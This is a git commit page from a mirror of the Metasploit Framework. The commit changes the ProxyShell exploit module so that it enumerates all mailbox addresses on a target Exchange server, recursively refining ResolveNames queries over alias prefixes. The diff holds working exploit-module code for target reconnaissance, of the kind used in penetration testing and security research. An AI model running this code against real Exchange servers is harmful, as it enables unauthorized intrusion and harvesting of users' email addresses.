1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-07-18 18:31:41 +02:00

Fix enumerating emails via ProxyShell

The ResolveNames endpoint used to gather emails addresses for targeting
only returns 100 at a time. This updates the module to check if the
search result contains all entries and when it does, it recurses into
itself with a refined search prefix. All results are returned to match
the original functionality instead of enumerating and halting once one
that's suitable for exploitation has been found.
This commit is contained in:
Spencer McIntyre 2022-12-02 15:55:10 -05:00
parent 07a91df7a1
commit 96da805014
2 changed files with 40 additions and 8 deletions

View File

@ -8,7 +8,7 @@
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>

View File

@ -320,17 +320,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
def get_emails
envelope = XMLTemplate.render('soap_getemails')
res = send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
fail_with(Failure::UnexpectedReply, 'Failed to enumerate email addresses from Active Directory') unless res&.code == 200
mailbox_table = Rex::Text::Table.new(
'Header' => 'Exchange Mailboxes',
'Columns' => %w[EmailAddress Name RoutingType MailboxType]
)
xml_ns = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }
res.get_xml_document.xpath('//t:Mailbox', xml_ns).each do |mailbox|
mailbox_table << %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, xml_ns)&.text || '' }
MailboxEnumerator.new(self).each do |row|
mailbox_table << row
end
print_status("Enumerated #{mailbox_table.rows.length} email addresses")
@ -480,6 +476,42 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
# Use https://learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/resolvenames to resolve mailbox
# information. The endpoint only returns 100 at a time though so if the target has more than that many email addresses
# multiple requests will need to be made. Since the endpoint doesn't support pagination, we refine the query by using
# progressively larger search prefixes until there are less than 101 results and thus will fit into a single response.
class MailboxEnumerator
def initialize(mod)
@mod = mod
end
# the characters that Exchange Server 2019 allows in an alias (no unicode)
ALIAS_CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789!#$%&\'*+-/=?^_`{|}~'.freeze
XML_NS = {
'm' => 'http://schemas.microsoft.com/exchange/services/2006/messages',
't' => 'http://schemas.microsoft.com/exchange/services/2006/types'
}.freeze
include Enumerable
XMLTemplate = Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell::XMLTemplate
def each(name: 'SMTP:', &block)
envelope = XMLTemplate.render('soap_getemails', name: name)
res = @mod.send_http('POST', '/ews/exchange.asmx', data: envelope, ctype: 'text/xml;charset=UTF-8')
return unless res&.code == 200
if res.get_xml_document.xpath('//m:ResolutionSet/@IncludesLastItemInRange', XML_NS).first&.text&.downcase == 'false'
ALIAS_CHARSET.each_char do |char|
each(name: name + char, &block)
end
else
res.get_xml_document.xpath('//t:Mailbox', XML_NS).each do |mailbox|
yield %w[t:EmailAddress t:Name t:RoutingType t:MailboxType].map { |xpath| mailbox.xpath(xpath, XML_NS)&.text || '' }
end
end
end
end
class PstEncoding
ENCODE_TABLE = [
71, 241, 180, 230, 11, 106, 114, 72,